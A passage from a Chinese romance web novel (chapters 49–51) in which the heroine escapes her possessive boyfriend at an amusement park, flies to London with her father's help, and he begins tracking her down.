他除了在家里会穿些舒适便利的休闲装之外,外出基本是西装衬衫,今天为了配合她,他穿着与以往大不相同。 灰色连帽卫衣,黑色长裤,这种极其普通的装扮偏叫他穿得比时尚模特更加吸睛,修长挺拔的比例,活脱脱的衣架,刚出门时,额前的碎发随手抓了几下,凌乱却显随性。 懒散不羁,眉眼张扬的模样,瞬间让她想起在那张照片里,十七岁的梁嘉序。 从来了游乐园起,孟尘萦心里便止不住兴奋。 她小时候就一直很想来游乐园玩,但涟云发展太落后了,一直没有建立游乐园。 犹记得在她十一岁左右。 涟云的隔壁市建立了游乐园,那时候她心里就微微有了点期盼。 盼着盼着,总算在有一天放学回家,她路过主卧时听到许乐芳和蓝建平在商量说,周末要带她和蓝芷一起去隔壁市新开的游乐园玩。 那天她偷听到这个消息,兴奋到一整晚都睡不着。 但等到了那一天时,却发生了一个小小的意外。 一家人上车,临要出发前,蓝芷最爱吃的那包糖果忘了带,许乐芳当时要孟尘萦回去拿。 但等她返回屋子找到了蓝芷要的糖果出来时。 院子外停着的车,不知何时,早已开走。 她被丢下了。 等许乐芳他们从隔壁市回来已是晚上,孟尘萦哭了一下午,脸都肿了不肯出来。 许乐芳察觉到她情绪不对劲,才跟她道歉说:“你蓝叔叔说你不爱去游乐园玩,怕你为了配合芷芷玩闹勉强跟过去难受,才让你留家里的,妈妈也记得萦萦是个最文静的小女孩,不像你妹妹那么调皮,你不喜欢玩的满身大汗。” 后来,她又因为许乐芳这句话,晚上躲被窝里流了一整晚的眼泪。 然后那年过年。 孟华淳打电话来问她想要什么新年礼物,因为游乐园的事在她心里始终念念不忘,像是永远都得不到的那块草莓蛋糕。 她没忍住,带着希冀的期盼说,如果爸爸过年回来看她,她想要爸爸跟她一起去游乐园玩。 孟华淳当时也答应了她。 但新年一到,他却因为有其他的事脱不开身,没有回国。 她再次被丢下了。 来游乐园玩,在她心里是一直垮不过去的坎儿。 后来她只把这件事写在日记里,谁也没告诉的。 梁嘉序握着她手:“你最想玩什么项目?” 孟尘萦指着那刺激的过山车,眼睛铮亮,一脸兴奋。 梁嘉序眉梢微提,对她喜欢玩刺激性的设施感到有丝意外,细细打量她的笑脸:“好。” 梁嘉序陪孟尘萦玩了好几个刺激项目,大抵是在空中颠簸了几遭,她心情也打开了点儿,笑容比平时要盛开许多。 梁嘉序看着她,用帕子擦拭她鬓边的汗水:“开心吗?” 孟尘萦用力点头,笑盈盈:“太开心了!” 梁嘉序眉眼弯弯带笑,被她的快乐所感染:“接下来还想玩些什么?” 几个孩子欢闹的笑声吸引了孟尘萦的注意,她没听清梁嘉序说的话,一直看着旁的孩子跟父母撒娇耍赖的场面。 梁嘉序顺着她目光看过去。 黑眸微眯,敏锐地捕捉到她眼里稍纵即逝的失落。 “我们一起去坐旋转木马,喜欢吗?” 孟尘萦一愣,侧过头回来看他。 不知是他今天装扮太过随性,还是别的原因,今天的梁嘉序显得没什么攻击性,褪去压迫感,就像是与她同龄的邻家男孩子。 “想坐么?” 他又耐心问了一句。 孟尘萦迟疑了会儿,没忍住点头,“想。” 其实她更想知道,为什么他会知道她心里在想什么呢?她来游乐园最想玩的项目,就是旋转木马。 或许是小时候的遗憾加执念的缘故。 旋转木马,在她心里总是有特殊的地位。 “我们一起。”梁嘉序牵着她前往旋转木马的地点,正好上一轮也结束了,没有等多久便轮到他们。 孟尘萦坐在旋转木马的座椅上,手心扒着眼前的圆柱。 音乐响起,旋转木马缓慢开始移动。 她回头没看到梁嘉序,愣了一会儿,在场内四处搜寻。 这时,她眼角余光忽地被前方吸引。 有的人即使穿得不显眼,但气质出众到在哪儿都是最靓丽的风景线。 梁嘉序便是。 他站在围栏外,手中举着拍立得,看着镜头里的女孩,周围所有人似乎都成了模糊的影子。 他眼里只能看见她。 咔嚓一声,将眼前一幕记录下来。 照片中的女孩眉眼弯弯,脸庞粉润,对着镜头笑得甜美可爱。 望着这张照片,梁嘉序眉眼一点点晕开柔色。 “阿序!”这一轮刚结束,孟尘萦坐在旋转木马上笑着朝他招手,“你也过来坐。” 她身后刚好空了一个位置。 梁嘉序把拍立得递给助理,眼神轻示。 助理点头,心领神会。 等梁嘉序坐上旋转木马,助理将镜头对准二人。 微风吹拂,一阵馨香,旋转木马的音乐声轻灵悦耳。 孟尘萦唇角弯弯带笑,视线随着景色游移,整个人好似沉浸在这场美妙的旋转当中。 直到,感觉身后一直有目光看向她。 她扭头,正好撞进梁嘉序的黑眸里。 这一刻,孟尘萦忽然又想起他们昨晚的谈话。 梁嘉序这次真的想跟她好好重新开始,问她的想法,她点头说愿意。 但她骗他了。 她会离开他,马上就离开。 梁嘉序望着她,唇角勾起浅浅的弧度,风吹起他额角的碎发,那双盈盈笑眼中,装满了她。 那瞬间,孟尘萦似乎觉得,他的眼睛会说话。 写满了对她的爱意。 波涛汹涌,让人难以承受的爱意。 她心尖,有点难以控制地,撩起一缕不该属于她此刻的意动。 那点余韵在不断拉扯她。 许是第一次这样欺骗人,她在心虚吧。 孟尘萦慢慢挪开目光,没再看他- 刚从旋转木马那出来,一个小孩从拐角的地方横冲直撞闯过来,孟尘萦没注意,被那男孩撞到险些扑倒在地。 千钧一发之际,梁嘉序搂住她腰,扶稳,问她伤着没。 她摇头说没事。 梁嘉序追着那男孩的方向,脸色一沉,正打算去警告孩子的父母。 孟尘萦明白他性子,捉住他手臂,安抚一笑:“没什么过火的事,小孩子只是来游乐园太开心了,没控制住喜悦的心情而已。” 梁嘉序没应,心情被这波小插曲弄得有点糟糕,孟尘萦注意到他的情绪,转而一笑,拜托他:“阿序,你能帮我去买份甜筒冰淇淋吗?” 梁嘉序垂眸睨她。 “我想吃。”她仰着脸,眼眸弯弯,眼里含着请求。 这是这段时间以来,她第一次对他提出要求,却只是要一份甜筒冰淇淋。 梁嘉序一笑:“你去那儿坐着等我。” 孟尘萦歪着头,轻盈的马尾跟着她脑袋摇晃:“我还想再坐一圈,等我坐完这圈旋转木马,你的冰淇淋也买来了,是不是啊?” 梁嘉序轻啧一声:“撒娇怪。” “好。你去那继续玩一轮等我,不要乱跑。” 孟尘萦无比乖巧地点点头。 她今天格外活泼,又乖。 梁嘉序尽管觉得反常,但转而想到她日记里记载的一切,想必游乐园对她来说到底意义非凡。 她这么喜欢。 他应该早点带她来玩才对。 梁嘉序伸手按住她脑袋,指腹蹭着她柔软的头发:“别乱跑,等我回来,要是回来看不到你了,孟尘萦,你知道我会做什么。” 孟尘萦嗯了声:“我会等你。” 目送孟尘萦又进了旋转木马里面,梁嘉序利落转身,喊助理过来吩咐:“看紧她,别让她被人欺负了。” 助理应是。 梁嘉序去买冰淇淋,助理便找了个休息椅坐着,视线一直紧盯旋转木马那。 孟尘萦正在跟隔壁的小女孩聊天,笑意开怀,轻松自如。 但助理还是没有松懈对她的监视。 忽然这时,助理的衣摆有下坠感。 他往下一看,见是一个约莫五岁的小女孩抓住他,圆脸布满泪水,哭得悲伤可怜:“哥哥,我跟我爸妈走丢了,你能带我去找我爸爸妈妈吗?” 助理蹲下来,温和问:“什么时候走丢的?” 小女孩抹了一把眼泪,哭得话都说不清:“唔唔,我我,我……刚刚就跑快了一点,回头就没看见我爸爸妈妈了,会不会是他们不要我了。” 小女孩的哭声让人心软,助理想起自己家里才三岁女儿,保护欲立刻涌了上来,安慰道:“小妹妹不要伤心啊,叔叔带你去找园里的工作人员,你爸妈也许就在那等你呢。” 小女孩不断抽泣,越哭越大声。 助理把小女孩抱起来哄,又不放心看向旋转木马。 见孟尘萦还在跟旁边的小女孩聊天,也没什么异常,更没人欺负她,游乐园的管理处离这儿也不远,他约莫去个三分钟就行了。 “叔叔这就带你去。” 助理牵着小女孩离开的同一时刻。 孟尘萦没多久,便接到了一通电话。 通过电话的提示,她顺着人多的地方离开,纤柔的身影逐渐隐匿在人群中- 今天是整个暑假里,天气最好的周末,游乐园的人要比平时还要多得多。 梁嘉序到冰淇淋的小摊前时,那已经大排长龙了。 他在后面排队,视线追过去,这边视角看不到旋转木马的区域。 队伍前边还有十几个人,约莫还要点时间才能到他。 等着无聊,他干脆从口袋里拿出刚才拍摄下的照片。 画面里,孟尘萦看向镜头,对着他笑。 身后有个女孩忽然插过来问:“帅哥,这是你女朋友啊?真好看。” 梁嘉序慢条斯理把照片收起,眉眼的温柔瞬间消去,冷冷地瞥了身后女孩一眼。 那女孩神色骤僵,被他这幅样子怵得不轻。 难得见到这个级别的大帅哥,她就是想搭讪说句话而已,也是刚才见他神情那么温柔,以为是个很好接触的男人,没想到这么凶。 她后退一步,没敢再多嘴了。 排队约莫八分钟,才到梁嘉序。 老板询问要什么口味。 梁嘉序淡声:“草莓,巧克力。” 店员打了两颗冰淇淋球给他。 梁嘉序伸手接过。 退出队伍时,人潮拥挤,一缕刺眼的阳光忽然落在他薄薄的眼皮上,眼角晕着淡淡的金色。 他眯了眯眸,适应了这抹刺眼的光晕,大步朝旋转木马那行去。 旋转木马还在欢快地转圈。 梁嘉序站在游乐设施前,冷峻的面容如同笼罩一层乌云。 身后传来一阵脚步声。 助理气喘吁吁停下:“梁先生,您回来了。” 梁嘉序冷声问:“她人呢?” 助理连忙朝那看过去,旋转木马里,哪儿还有孟尘萦的身影?他吓了一跳,脸色煞白:“孟小姐刚刚还在这啊,我……我就离开了五分钟。” 这时,旋转木马的音乐停了下来。 梁嘉序大步进入圈内,一眼便看到刚才孟尘萦坐的那个位置上,留有一个信封。 他脚步一顿,在原地驻足。 没上前。 机器顶端的光线洒他脸上,他高挺的鼻梁侧落了一道阴影,冷峻的面容,无端中,洇着压抑惊悚的郁色。 旁边的男孩从旋转木马上跳下来,脚步不稳,撞到梁嘉序。 他手中的的甜筒从身上滑落,半边草莓巧克力的雪糕体在他衣服上,留下蜿蜒的污脏痕迹。 梁嘉序脚尖微挪,一脚踩上泥泞的冰淇淋。 旁边的小男孩已经被他阴冷的神情吓到哭着跑出去找家长。 心跳声砰砰加速。 他修长的手指,缓慢捡起留在原位的那封信。 打开信纸。 【昨晚我说不骗你是假的,我骗了你。 梁嘉序,我不喜欢你。 只有这句,才是真的。】 第50章 第 50 章 “把她还给我。”…… 孟尘萦特地选了一条人最多的通道谨慎离开, 她很快便到达了电话里那人跟她约定好见面的地方。 愈发拥挤的人潮,致使孟尘萦站在原地环顾四周,还是没遇到跟她约好见面的人。 她时刻还要担心梁嘉序的助理会很快察觉她不见了追过来, 边谨慎躲人,边又要急急忙忙找人。 这时,一个陌生女人拨开多个路人挤进来拉住孟尘萦, “孟小姐,你现在跟我走。” 孟尘萦看着面前的陌生人, “您是?” 那人自我介绍:“我是您父亲的助理,孟先生正在车上等您, 不能再多说了, 您现在就跟我离开这里。” 孟尘萦没拖延,立刻跟着助理通过另一条出口离开, 外面的角落处,停着一辆黑色轿车。 车后门打开, 她刚钻进后座, 就看到自己已许久没见的父亲。 孟华淳伸手扶住她:“萦萦, 你先进来坐好。” 孟尘萦落坐后,车子也即刻启程, 一分一秒都没有拖延, 速度快到她都没反应过来。 看车子娴熟开离此处的动作, 显然连离开时走哪条路都早就安排的极其妥当。 孟华淳见孟尘萦面心绪不宁的模样,宽慰道:“放心,你出来的这个路口是没有监控的,他查不到你坐的哪辆车离开。” 孟尘萦手心撑在膝盖那,自己都没察觉到手掌心紧张到洇出了汗。 望着面前的父亲,她眼眶微红。 孟华淳面相清冷白净, 他从年轻时就被很多人夸赞过出色的相貌,夸赞他气质似江南才子,文质彬彬,说他这种相貌也很不显年纪。 但即使生得再显童颜的长相,年近五十了,眼尾也有了一层层明显的细纹。 “爸……您一直留在这,没有回去吗?” 孟华淳伸手把孟尘萦拉近,好好端详她:“萦萦第一次跟爸爸提要求,爸爸怎么能连你的人都没见到就这样回去?” 父女俩约莫有三年没有见过面了,三年时间不算太长也不算很短,孟尘萦的长相并没什么变化,还是青涩稚嫩的相貌,只是,不知道她究竟经历了什么。 以往心无杂念的眼神,现在多了一抹消不去的忧愁。 “爸爸……”孟尘萦眼眸含泪,强忍了一路不安的心,终是在看清父亲眼里的担忧后,没忍住扑进他的怀里。 手心紧紧揪着孟华淳的衣服,哭得肩膀发抖。 车子正在道路中平稳行驶,但开的速度比平时的车速要快,眼下正要急忙逃离此处,也不是好好叙旧的时机,但孟尘萦忍不住了。 她没想到,在她无比无助,在她没有抱任何希望的状况下,原来她爸爸还在国内一直等她。 孟华淳轻轻拍她单薄的后背,语气轻缓:“哭吧,想哭就哭出来,爸爸这就带你离开。” 孟尘萦哭了好一阵子,睁着泪眼婆娑的眼问这是去哪儿? 那天江静娴说会带她回伦敦,她一直以为出来见到的人会是江静娴。 她和江静娴早就已经说好了。 今天她会想办法把梁嘉序支开几分钟,只要有人提前在游乐园接应她就行。 可她从游乐园出来为止,就没有见到江静娴的人影。 “爸,江阿姨呢?” 车子停下后,孟华淳带孟尘萦去了停机坪。 孟华淳一路都在紧着时间,边走边跟孟尘萦交代清楚。 “这是你陈阿姨家的私人飞机,你跟爸爸坐飞机先回伦敦,至于江总那边……” 上了飞机后,孟华淳才说:“她的计划本来就是让你能顺利跟爸爸见面,把你带走是我这的事,江总负责处理国内这边,她说新生活新身份都给你安排好了,国内这边她给你兜着,不用担心她儿子找过来。” 孟尘萦一脸茫然:“江阿姨为什么要为我做这么多?” 她一直很不理解。 她跟江静娴无亲无故,梁嘉序才是她的亲生儿子,她为什么会选择帮她一个外人? 这样做也是跟梁嘉序为仇啊。 这对江静娴又没有任何好处,如果不想她跟梁嘉序在一起,完全可以用别的办法拆散他们。 孟华淳:“江总的想法爸爸也不清楚,我从你陈阿姨口中听说你跟江总的儿子在一起,当时回国又见不到你的人,爸爸就让陈阿姨跟江总联系,猜测你被她儿子困在身边不放,她得知这件事后就回国联系我了。” 孟尘萦垂眸,若有所思。 孟华淳握住孟尘萦冰冷的手,给她暖了暖,一脸认真问她:“萦萦,你跟梁嘉序的事,爸爸不太想过问了,现在你要跟爸爸离开,去国外展开新的生活,或许要在国外定居很久,你愿意吗?” 孟尘萦抬眸,眼里无比坚定:“爸,我愿意。” 她的确不太想留在国内了,她比谁都清楚,按照梁嘉序的性子,他定是会大海捞针找出她的下落,要是留在国内,不过就是仙河镇的结局。 眼下她有新生的机会,自然想要拼命抓住。 孟华淳伸手摸了摸她的脑袋,“飞机马上起飞了,你先歇一会儿平息好自己的心情,爸爸这边还要跟你江阿姨联系一下。” 孟尘萦点了点头。 她扣好安全带,心脏还在不断乱跳。 比平时跳得要快,要乱。 比她第一次离开梁嘉序还要紧张。 她有一种直觉。 这次,她总算是真正离开梁嘉序了。 他绝对找不到她了。 天高海远,任她自由。 本来想握住手机找点安全感,在口袋里没摸到熟悉的手机,她才想起来。 在进入停机坪之前,她爸爸的助理就把她手机收起来了。 她的所有联系方式被彻底切割。 等飞机起飞,她也将跟梁嘉序,彻底切割。 再也见不到了。 她闭上眼,开始享受这种摆脱了梁嘉序,舒心自在的感觉。 但她刚刚阖上眼睛,眼前忽然出现了梁嘉序为她去买冰淇淋的背影。 还有他说的话。 ——别乱跑,等我回来。要是回来看不到你了,孟尘萦,你知道我会做什么。 那一瞬间,她以为自己还在游乐园没有逃出来,这种惊悚的画面,吓得她胸口一震,猛地睁眼。 她还在飞机内。 还好,看到梁嘉序只是幻觉。 不知过了多久,或许是很快,飞机启航。 孟华淳坐在她身旁,问她有没有哪里不舒服,孟尘萦说没有。 她不动声色擦干手心的汗。 “萦萦,睡一觉吧,一觉醒来就到了。” 孟尘萦点了点头,说嗯。 她再度闭上眼。 试着缓缓呼出轻颤的气息,放平不安乱蹦的心脏。 再将刚才出现在她视线里,梁嘉序的背影彻底推了出去。 梁嘉序的背影,很快从她眼前消失。 再见了。 京市。 再见了。 梁嘉序。 希望他们从今往后再也不要见面,也希望他能忘记她,放下她,展开自己新的生活- 临近黄昏,游乐园外场也极其热闹。 一辆暗沉的黑色轿车停在安静处,车窗隔绝了远方的喧闹声,梁嘉序垂眸看着ipad里多个监控画面,总算在一个视角发现了孟尘萦的背影。 画面中能明显看出来,她是刻意选择人多的方向走,把自己隐匿在人群中。 这样,调查监控想找到她去了哪个路口才会极其费劲。 孟尘萦最终通往了西面的出口。 前排助理接了个电话,回头说道:“梁先生,孟小姐出去的那个路口的监控已经坏了一段时间……” 梁嘉序脸色沉得能滴出水:“出口的监控坏了,那条路的监控没有?给我细细排查,一辆车子都不要放过。” “……是。”助理后背一紧。 夜幕降临,风也刮得树叶唰唰地响。 车内的氛围愈发阴冷。 整个下午游乐园几乎被查遍了,所有的路口,甚至没有监控的那条路都被查了个底朝天,但还是找不到孟尘萦的行踪。 她再一次人间蒸发。 梁嘉序低眼揉了揉眉骨:“飞机场,高铁站的记录都查过了吗?” 助理回话:“查了,目前还没结果,正在等。” 等了约莫十几分钟,有人来了电话,助理接听后回道:“飞机场高铁站都没有孟小姐的信息。” 梁嘉序冷笑:“好好的一个人,能忽然间就消失得无影无踪?” 从事发到现在,竟是半点行踪都没有。 她从游乐园消失,逃了出去便彻底人间蒸发,这种逻辑缜密的做法,孟尘萦一个人是绝对无法做到。 她身边定是有人帮她。 梁嘉序忽然抬头,声音哑又沉:“启程,去江家。” 一个小时后抵达江宅,李管家看到车子便特地出来迎,梁嘉序大步下车,神色凌厉:“我妈在吗?” 李管家回道:“正在健身房,阿序,这么晚过来……” 李管家话没说完,只见梁嘉序脚步生风,前往健身室。 健身室的门被一股强劲的力道用力推开,门把手嘭地在墙面撞出声响。 剧烈的动静无比刺耳。 江静娴站在跑步机上跑步,用毛巾擦了擦额头的汗,没好气道:“干什么啊?突然这么大动静,把你妈心脏都要吓停了!” 脚步声在她身后停下。 随后一只冷白的手腕伸过来,按下暂停。 跑步机停止不动。 江静娴转而落地,侧眸看了眼梁嘉序。 这就是这一眼,竟是把她吓到,剩下的话都卡在喉咙里。 她从没见过梁嘉序有这样的眼神。 幽深的眼眸似泛着血色,像一条被逼至绝境的毒蛇,那道阴冷的目光宛如透着剧烈毒液,浑身散发着暗狱般的凶狠。 即使江静娴早就做好被他兴师问罪的准备,但她做梦都没想到,状况比她想象中还要恐怖。 “阿序,你……” 梁嘉序冷冷地注视她:“你把她藏哪儿了?” 他单刀直入表明自己意图,江静娴感慨自己儿子敏锐的反应力同时,还不忘做戏做全套:“妈妈不知道你在说什么,你今天不是跟小孟去游乐园约会了吗,怎么现在就你一个人?” 梁嘉序没耐心跟她周旋:“把她还给我。” 江静娴面色无辜,往后一退,一脚踩到跑步机上,故作自然地压腿:“阿序,你在说什么啊,妈妈真的不知道,是小孟怎么了吗?” 梁嘉序冷笑,面无表情看他妈妈演戏:“她不见了。” 江静娴惊讶道:“怎么会?小孟怎么好好就不见了?” 梁嘉序语气愈发不耐:“您别演了,很没意思。” “你回国不就是为了她吗?以为我不知道?” 江静娴无言。 梁嘉序目光森冷,含着失望看向自己母亲:“你也想把她从我身边带走?” 江静娴能感觉到他几乎要崩溃了,到底心疼自己儿子,她试图安抚他:“阿序,你别这样……” “如果小孟的离开是她自己的想法和要求呢?你也要强迫她留下?” 梁嘉序冷声:“对!” “她必须留在我身边。” 他这种态度,反而让江静娴更加庆幸自己做下的决定:“小孟去哪了我是真的不知道,说实话,妈妈的确也瞒不过你,我的确是想把她送走,因为妈妈不想你们在一起,但还是迟了一步,不信你可以调查我身边的人。” 梁嘉序死死盯着江静娴的眼睛,身为母子,他很清楚,江静娴很有办法应对任何棘手的状况,从她的眼睛里,他不会得到自己想要的答案。 她是摆明了不想跟他说实话。 所以孟尘萦是不是她带走的,已经不重要了。 他不想再浪费时间,多在这待一秒,就耽误他找人的时间。 梁嘉序大步离去。 望着梁嘉序冷漠的背影,江静娴小腿不知觉一软,手撑着跑步机才勉强站稳。 她从没见过她儿子这样恐怖的一面。 但如果分开才是对他和孟尘萦最好的结局,还是这样比较好。 让她儿子恨她,也行。 总比以后二人落得一个悲惨的结局要好- 出了江宅,回到车上,梁嘉序让助理调查江家私人飞机的航线。 等了不久,助理得到消息:“江氏的私人飞机,没有任何申请航线的消息。” 没有使用江家的私人飞机,那么孟尘萦究竟去了哪里,用的什么办法让她这样彻底凭空消失。 孟尘萦这次能去哪儿? 上一次,他还能从梁巷明还有舒锦那查到她的到蛛丝马迹,他能确认她还在国内。 可这次…… 倘若,她要是顺利出了国,只会比在国内还要难找得多。 梁嘉序瞳孔漆黑,寒凉。 他手中握着孟尘萦留给他的那封信。 眼睛越来越红。 就那么不喜欢他,就那么想跑么? 孟尘萦。 她就半点都没有考虑过他的心情么? 她是真的感受不到,没了她,他会有多痛苦么? 50-60 第51章 第 51 章 “该怎么惩罚比较好?”…… 落地伦敦离开停机坪, 便有专车来接。 司机下车亲自打开后车座的门,请孟尘萦入座,她循着方向望过去, 看到了后座的陈若卿。 “陈阿姨?” 陈若卿温柔一笑:“萦萦来啦,快过来阿姨这边坐。” 孟华淳也正要坐进来时,陈若卿及时出声:“你坐前面, 后面坐不开了。” “怎么坐不开?”孟华淳不悦地嘀咕,却还是老实坐到了副驾驶的位置。 上车后, 司机立刻启程。 陈若卿挽着孟尘萦的手,细细打量她:“萦萦, 长途飞机坐的累吗?” 孟尘萦摇头, “挺舒适的。” 大抵还是心灵轻松了起来,身体也觉得没了什么负担。 实则她还有点不太适应跟梁嘉序分开这么久。 但在落地伦敦后, 呼吸着跟梁嘉序不一样的空气的时候,她才真正有一种彻底脱离他掌控的真实。 陈若卿伸手把孟尘萦肩膀上垂落的马尾别开, 笑了笑:“那就好, 一会就到家了, 让你爸下厨给你做几道你爱吃的菜。” 孟尘萦微笑着点头。 约莫一个多小时才抵达陈若卿和孟华淳在伦敦的住宅。是一幢独栋别墅,规格不算很大, 装修简洁却很显格调, 后院那的草坪四周种了各式各样的鲜花, 装饰的极其温馨,看得出来主人很懂得享受生活。 其实孟尘萦心里有不少疑问。 她对他爸爸妻子的家庭背景半点都不了解,只知道陈阿姨是常居在国外的中国人,能有能力在国外定居,条件定是优渥的。 但,能拥有私人飞机, 这已经不是寻常人能办到的事。 最让她瞠目结舌的还是,陈若卿跟江静娴认识。 回到家里,趁陈若卿吩咐佣人准备食材时,孟尘萦悄悄问了问孟华淳,陈若卿到底是什么背景。 孟华淳给孟尘萦找了双拖鞋,自己也换上,带她去客厅坐,边说:“二十年前也算跟梁氏平起平坐的陈氏,听说过吗?” 孟尘萦眼睛睁大:“陈阿姨的陈,是这个陈?” 孟华淳看女儿吃惊的模样,忍俊不禁,没忍住伸手揉了揉她的额发。 从见面起到现在,他总算看到女儿有点鲜活的模样了。 “华淳,食材都准备好了,你快过来下厨。” 厨房那传来陈若卿温婉的声线,孟尘萦还在回想陈若卿和陈氏的关联。 她忽然也记起,小时候父母离婚后的一点破碎的记忆。 在她模糊的印象中,加上身边人的说法得知。 离婚后,她爸爸就离开涟云去海城创业,结果没两年从她妈妈那听说,她爸爸出国打拼事业了。 但那时候,好像并没跟陈若卿结婚。 当时也是因为她年纪小,许乐芳和蓝建平聊天基本很少避开她,她记忆里,从她妈妈口中听说过,她爸爸是吃软饭的。 大多数离婚的夫妻,都恨不得对方死的那种。 她父母就是这样的离异夫妻。 离婚头两年,她父母厌烦彼此,到了一种提到对方都觉得是一种晦气的程度。 许乐芳对孟华淳半点旧情都没有了,她从旁人口中听说孟华淳在大城市跟某名门千金小姐走得很近,没多久,涟云就到处在传她爸爸吃软饭,傍上了富婆这种流言。 因为傍上了富婆,孟华淳才有机会出国打拼事业,才会有能力每个月才给她打很多钱当生活费。 她一直以为,吃软饭是她妈妈气愤下乱说的。 她都没信过那些事,但…… 孟尘萦眨了眨眼,对上孟华淳清冷书卷气的面容,立刻收敛眼中的情绪。 孟华淳很坦然,半点没掩饰道:“对,你爸就是吃软饭。” “没什么羞耻的,起初我也有点接受不了她的家世。” 男人骨子里的劣根性不能忍受自己低女人一等,他自来清高,虽出身普通,但也无法接受自己跟千金小姐牵扯到一起,让他孟华淳三个字跟吃软饭挂上勾。 但感情的事偏是不饶人,越抗拒,越在意。 选择跟陈若卿在一起之前,他就想通了。 吃软饭就吃软饭吧。 他无论哪方面的条件,的确是配不上陈若卿。 认清现实不丢人。 对于孟华淳的态度,孟尘萦很惊讶,她爸爸在国外这些年,似乎思想也有了不少转变,她做梦都想不到,承认吃软饭这种话能从她那清高自大的爸爸嘴里说出来。 “你去沙发那休息,爸爸给你做点好吃的。” “萦萦爱吃什么?” 孟华淳问出来时,语气都有点不自然,毕竟是亲生女儿,但对她的爱好却半点都不了解。 孟尘萦不喜欢麻烦人,说:“您随便做点家常菜就行了。” 正要吃晚饭的时候,玄关那有了动静。 随后,进来两个年轻人。 是混血长相,看模样便是龙凤胎,约莫十八岁左右。 见陈若卿主动走过去,拉着两人过来跟孟尘萦打招呼她才知道。 眼前的兄妹是陈若卿和前夫的孩子。 兄妹俩被教养的很好,礼貌地用中文对孟尘萦喊了声姐姐。 听口音,中文说的很是流利。 孟华淳说,家里平时都是用中文交流,“你陈阿姨说什么都不准两孩子不会说普通话。” 孟尘萦笑了笑,说陈阿姨教得很好。 吃过晚饭,哥哥很识趣上了楼,妹妹则朝另一间房喊了一声,登时,从屋里蹦出一条可爱的狗狗。 妹妹牵狗上楼玩去了。 望着那只狗,孟尘萦想起了还留在璟兰园的三只猫猫。 她走的时候,因为特殊原因没办法带上三只猫…… 分开这么久了,她开始想念自己的猫猫。 也不知道梁嘉序会怎么对待她的猫。 应该不会虐待吧。 她就是觉得,他做不出这种事。 – 陈若卿煮了一盅花茶,热气升腾,客厅内香味弥漫。 孟尘萦垂眸盯着面前杯盏的热气,思绪忽飘。 客厅内氛围有些沉重。 孟华淳和陈若卿一起在商量孟尘萦今后的去路。 陈若卿坐在孟尘萦旁边,握着她手问:“你跟阿序那孩子交往有多久了?” 孟尘萦望向她。 她温婉一笑:“我跟静娴自小是朋友,也认得阿序,不过他成年后我见过的也不多了。对他的印象,他……” 孟尘萦轻声:“陈阿姨,您想说什么尽管说。” 陈若卿眉梢放松道:“那阿姨就不犹豫了,阿序那孩子他很特别,他的思想也与寻常人大不相同,是有些扭曲畸形,你要是跟他相处过,应该会有这方面的感慨。” 孟尘萦点头,“嗯。” “你要是想要平淡的人生,他绝对不适合你,萦萦的性子太淡了,他却灼热到会让你承受不住。” “这是阿姨很想说的话。” “这就是为什么,那次我在海城看到你们俩在一起,才会很担心你的原因,当时我看到他对你的态度,就猜到你不是心甘情愿和他在一起,是问过了静娴我才确定了这个猜测。” 陈若卿细细打量孟尘萦面上神情。 没有半分情意,和不舍。 更加确认了。 孟尘萦是真的不喜欢梁嘉序。 陈若卿朝孟华淳看过去,二人对视,孟华淳说道:“萦萦,今后你可以跟爸爸还有陈阿姨一起生活。” 这个家很大,完全可以再容纳一个人。 孟尘萦目光微闪,她舔了舔唇瓣,主动问道:“爸爸,江阿姨说,她给我在国外另外安排了新身份,新环境……” 孟华淳皱眉,有点不认同道:“你想选择江总给你安排的人生?” 孟尘萦没有犹豫,点点头。 她虽然选择跟孟华淳离开,但内心也并不想跟他这样长久的居住下去。 一是,她很清楚梁嘉序的手段,要不了多久,他绝对会查到她爸爸这里,他若是再找到了她,她今后就不能再离开他半步了,也不会再有机会逃走。 二是,她也不想打扰她爸爸的家庭,即使陈阿姨人很温柔,她的孩子性格也很好,大概不会介意她的加入,但她很清楚自己的内心想法,她心里头其实对亲生父母还是有些埋怨,小时候的伤痛根深蒂固,难以消除,她没办法理所当然跟着当初抛下她的父亲。 “萦萦,你……” 陈若卿打断孟华淳即将说出口的挽留,她看清了局势,认同孟尘萦的话。 “阿姨也觉得萦萦的选择是对的,你跟我们住在一起,他找过来是早晚的事。” 孟华淳冷哼:“我和萦萦是父女,就算梁嘉序找了来,他又能做些什么?” 陈若卿轻飘飘瞥他,实在不忍心打破他的想法:“阿序什么都做的出来,你不认识他。” 孟尘萦都做好了决定,女儿大了有自己的意见,孟华淳也不好阻止,他不情不愿,把江静娴交给他的东西递给孟尘萦。 “这是江总给你准备好的所有新身份相关资料,你的所有行踪江总都给你清除干净了,她告诉你不用担心梁嘉序找到你,她有办法阻拦。爸爸也给你买了新的手机和手机卡,里边儿还有一张国外用的银行卡。” 见孟尘萦脸色一变,孟华淳连声道:“银行卡是爸爸给你准备的,不是江总,你总不至于连爸爸给你的钱都不用了?” 孟尘萦只好接下。 陈若卿问:“想好去哪儿了吗?” 孟尘萦点头:“想好了。”- 璟兰园内一片寂静,冷气似在空气中凝结成霜。 孟尘萦养的那三只猫,今儿还乖乖地都窝在自己的猫窝里头,连麦芽糖这么大的胆,察觉到四周骇人的冷空气,都缩在里边儿不敢冒出头。 两名助理来了一趟又一趟,游乐园所有监控以及孟尘萦出逃的路线,经过精细排查,还有这两天的高铁飞机的航班都查得底朝天。 仍是一无所获。 从江静娴那下手,也没有任何关于孟尘萦的行踪。 她手机的通讯资料也很快被消除的一干二净,查不到她跟任何人联络过的蛛丝马迹。 孟尘萦好像就忽然在国内凭空消失了。 梁嘉序垂眸扫视眼前所有的资料,揉了揉眉骨的酸痛,冷声道:“她父亲那查了没?” 孟尘萦的父亲在多年前出国闯事业,虽然已经很多年没有回国,跟自己女儿也很少联系了,但只要有一丁点儿希望他都不愿放过。 助理回道:“这就去查。” 几个人分工明确,各忙各的,很快查到消息。 “孟华淳那边查到的消息是一直在伦敦,没有回国过,也没什么异常的。” 梁嘉序缓缓睁眼。 眼底乌黑一片。 这话听着是没什么怪异之处,但这种时候,越是没异常才越有问题。 他没记错的话,孟华淳的妻子陈若卿就跟他母亲交好。 孟尘萦所有的消息行踪,在短时间内全部被抹的一干二净,能做到这种程度的手段,除了他母亲,他想不到第二个人。 那晚关于他的质问,江静娴没有承认,但他从没觉得她清白。 从江静娴回国要见孟尘萦起,他就知道他母亲心里另有打算。 好啊。 好得很。 两人联合起来背叛他,是吗? “国内不用查了,她在国外。” 